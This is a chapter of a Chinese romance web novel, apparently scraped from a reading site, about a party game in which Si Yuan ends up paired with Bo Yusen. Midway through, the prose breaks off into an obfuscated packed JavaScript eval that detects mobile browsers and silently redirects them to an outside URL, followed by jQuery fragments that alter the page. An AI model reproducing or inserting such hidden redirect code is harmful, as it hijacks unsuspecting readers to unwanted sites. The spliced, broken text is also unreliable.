第198章 今晚就麻烦司小姐了

作品:《睡完不认后,被阴湿继承人强宠了

    众人顺着声音看过去,只见那个遥不可及的人,举起了手中的纸条。


    上面赫然写着数字8。


    怎么可能?


    陆骁脸色大变,立刻拆开手中的纸条一看,是9。


    怎么会这样?


    陆骁看向顾银河,顾银河还想问陆骁是怎么回事呢?


    她明明已经安排好了,提前将男生那边的8号球给了陆骁。


    将女生这边的8号球给了司鸢。


    这男生的8号球怎么就变成屿森哥哥的了。


    这可怎么办?


    为了帮陆骁,顾银河自己设立的规矩是不可以交换球,拿到什么是什么。


    这不是搬起石头砸自己的脚吗?


    司鸢也没想到,自己偏偏和薄屿森配成了一对。


    如果刚刚星竹没有大喊,吸引了大家的目光,这会儿她还可以悄悄和星竹换一下。


    现在倒好,所有人都知道她和薄屿森匹配了。


    沈星竹挑了挑眉,倒是乐见其成。


    凑到司鸢耳边用只有两人听得见的声音说道:“看到了吧,你的幸运数字发力了。”


    司鸢:“……”


    这哪里是幸运啊,分明是把她架在火上烧。


    除了司鸢和薄屿森外,顾明月也成了人群中的焦点。


    毕竟,她可是薄屿森的未婚妻。


    顾明月攥紧手里的球,脸上微笑的表情都快维持不住了。


    好一个司鸢,好一个顾银河——


    她刚刚看到顾银河给了司鸢一个球,原来是在暗箱操作,将司鸢和薄屿森配成一对。


    妹妹?


    哼——


    还真是个胳膊肘往外拐,只会在姐姐胸口插刀子的好妹妹——


    顾明月知道,如果她在这个时候表现出一点吃醋,或者不高兴的样子,肯定会被别人说玩不起。


    无论如何,她也要保住自己的体面。


    思及此,顾明月笑着将手里的球拧开,拿出里面的纸条,“谁是25号。”


    这时,一个男人走了出来,“我。”


    顾明月从透明的箱子里拿出一个手环,“很高兴能和刘少成为今晚的搭档,我们一起大杀四方吧。”


    刘少小心翼翼地看了薄屿森一眼,见薄屿森并没有说什么后,笑着跟顾明月戴上了手环。


    两人绑在了一起。


    看到这一幕,顾银河总算是松了一口气。


    “陆少,刚刚你不是也举手了吗?难道有两个八号?”


    陆骁身边的人,看向了陆骁手里的纸条。


    陆骁大脑一片空白,他脑海里幻想和司鸢绑在一起,时时刻刻不分开,以及被司鸢保护的美梦,就这么破碎了。


    肯定是刚刚被人撞了一下,球飞出去的时候,不小心和薄屿森换了。


    这下倒好,他和阿鸢被拆开。


    屿森哥和明月姐也被拆开了。


    最好别让他逮到是谁撞了他,不然他一定把对方扒光,扔到海里喂鲨鱼——


    愤怒过后,陆骁只剩下委屈。


    可能怎么办呢?


    明月姐身为屿森哥的未婚妻都没说什么,他一个还没有名分的人,能说什么?


    所有人都释怀了,只有司鸢紧紧地捏着纸条,无所适从。


    她没动,薄屿森也没动,两人就这么僵持着。


    最后还是顾银河先动了手,她拿起一个手环,一头绑到司鸢的手腕上,又牵着司鸢走到薄屿森面前。


    “屿森哥哥,阿鸢今晚就交给你了,你可要保护好她。”


    薄屿森伸出手腕,让顾银河绑手环,“说反了。”


    “啊?”


    “不是说蛋糕抹在男方身上才算输,那也应该是司小姐保护我。”


    “对哦……”


    顾银河傻傻地对司鸢说:“阿鸢,今晚的赢家有个大彩头,你想赢就得保护好屿森哥哥。”


    司鸢:“……”


    薄屿森盯着司鸢的发旋,“我玩游戏就要赢,今晚就麻烦司小姐了。”


    司鸢:“……”


    司鸢不明白,薄屿森明明很讨厌她,他不想跟她组一队,多的是办法。


    什么游戏规则,那是限制别人的,又不是限制他的。


    本来就不是个什么循规蹈矩的人,这次却这么乖。


    不会是和顾明月吵架了,故意拿她来刺激顾明月吧?


    算了,不管是什么。


    事已至此,也只能走一步看一步,希望今晚时间能过得快一点。


    绑了手环后,两人的距离一下子拉近。


    近到司鸢吸一吸鼻子,就能闻到薄屿森身上的松木香气。


    刚稳住的心神,又乱了。


    同样凌乱的还有顾银河。


    顾银河看着自己和郁牧尘手里一模一样的数字,只觉得天塌了。


    今天是她生日,按理来说,幸运之神不是会照顾她吗?


    配谁不好,偏偏配这个家伙……


    顾银河在这方面多少有些迷信,总觉得这一年都不会太顺。


    “怎么是你?”


    看到顾银河眼里的嫌弃,郁牧尘收起纸条,“不想跟我待在一起,你也可以反悔。”


    顾银河:“……”


    她可是这场游戏的制定者,才不会做出尔反尔的事。


    顾银河主动戴上手环,还将郁牧尘的手腕也绑上了,“我警告你,我玩就要赢,你可别跟个菜鸟一样,一开始就被淘汰了。”


    戴手环的时候,两人的手难免会碰到,郁牧尘盯着顾银河白嫩漂亮的手,眼眸幽暗。


    顾银河没等到他的回答,抬头看过来的时候,他的目光才移到她脸上。


    “不该是你保护我吗?”


    顾银河:“……没错,是我保护你,但你也要自己给力点,要是尽早淘汰,我跟你没完。”


    郁牧尘难得笑了一下,“放心,不会让你输的。”


    一个经常板着脸不笑的人,偶尔笑一下还挺要命的。


    心脏突然跳得很快,顾银河皱眉,“别笑了,你笑起来好难看。”


    郁牧尘:“……”


    —


    游戏正式开始。


    陆骁心急如焚,脑海里只有一个想法——


    就是尽快淘汰司鸢和薄屿森,这样他再被人淘汰,就能去找司鸢聊天了。


    跟陆骁搭档的女孩,是一个很文静不爱闹腾的千金小姐。


    穿着高跟鞋跑不了那么快,陆骁恨不得把人扛起来跑。


    看出陆骁急着玩游戏,女孩歉疚道:“抱歉陆少,我拖你后腿了。”


    陆骁从小被家人教育着要尊重体贴女孩,想到自己光顾着玩,没顾及女方,速度便慢了下来,“没事,我们慢慢来。”


    “谢谢……”


    和陆骁有同等想法的还有顾明月。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091062|193906||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>


    顾明月怎么可能允许司鸢和薄屿森待一晚上,那简直就是拿刀剜她的心。


    顾明月的搭档看出了她的想法,知道明月姐为了顾全大局才不得不和薄总分开。


    男人笑道:“明月姐,我们现在就去找薄总他们。”


    顾明月得体一笑,“你有没有想要淘汰的人?”


    男人情商也很高,“薄总……如果能淘汰薄总,我今晚就是最厉害最牛逼的男人。”


    顾明月朝他竖了个大拇指,“那我们一起加油。”


    “好……”


    游戏一开始,给了大家十分钟时间躲藏或者是商量战术。


    司鸢没有玩过吃鸡游戏,也不知道该怎么办。


    但听到薄屿森说他玩就要赢的时候,还是想让他赢的。


    顾银河说过,除了活到最后的一对,【**】最多的一对也有彩头。


    司鸢脑海里当即制定了两个方案。


    第一,拉着薄屿森到处用蛋糕【**】。


    第二,找个地方躲起来,苟到最后再和剩下来的一对终极对决。


    很显然……


    拉着薄屿森到处【**】这件事,不适合薄屿森。


    他就该高高在上地坐着,等她把冠军送到他手里。


    但要是苟到最后,那就只有他们两个,也太尴尬了。


    就在司鸢在两个方案之间来回拉扯的时候,广播突然响了起来。


    【高崎、周宇阳搭档,被宋明、夏荷搭档淘汰。】


    【高崎、周宇阳搭档,被宋明、夏荷搭档淘汰。】


    【高崎、周宇阳搭档,被宋明、夏荷搭档淘汰。】


    有搭档被淘汰,连着三遍的播报。


    听着的人,一下子紧张了起来。


    听到脚步声朝这边传来,司鸢也顾不得其他,拽着薄屿森进了一个房间。


    进去之后才看到,里面是一个台球室。


    司鸢在找哪里可以藏,薄屿森却慢条斯理地拿起了球杆。


    司鸢不知道薄屿森要打球,两人距离一拉开,又被手环的弹簧拽了回来。


    跟司鸢的心急如焚一比,薄屿森要多悠闲就有多悠闲。


    司鸢张了张嘴,想说什么,最终又什么都没说,只能看他打球。


    司鸢还是第一次见薄屿森打台球,他的姿势很标准。


    骨节分明的手指放在桌上,锐利的眼神盯着白球,一击出去,三四个球直接进了洞。


    漂亮。


    司鸢虽然很少打台球,但看过不少台球比赛。


    这一记开球,在赛事中来说,都是完美的开场。


    不对——


    他们现在在玩【**】游戏。


    不是比台球!


    司鸢忍不住开了口,“薄总,我们现在的位置并不安全……”


    “嘭——”


    白球撞击了红球,红球被打进洞里,司鸢的话也被打断了。


    薄屿森拿着球杆淡淡地看向司鸢,“原来司小姐会说话,不知道还以为司小姐是哑巴。”


    这阴阳怪气的感觉,以前那个嘴毒难伺候的薄屿森又回来了。


    司鸢咬了咬牙,“你不是想赢吗?想赢要么去【**】,要么躲起来,站在这里,很容易被人杀。”


    “不是还有司小姐保护我吗?”


    薄屿森盯着司鸢,“司小姐本事那么大,带我拿个冠军应该轻轻松松吧?”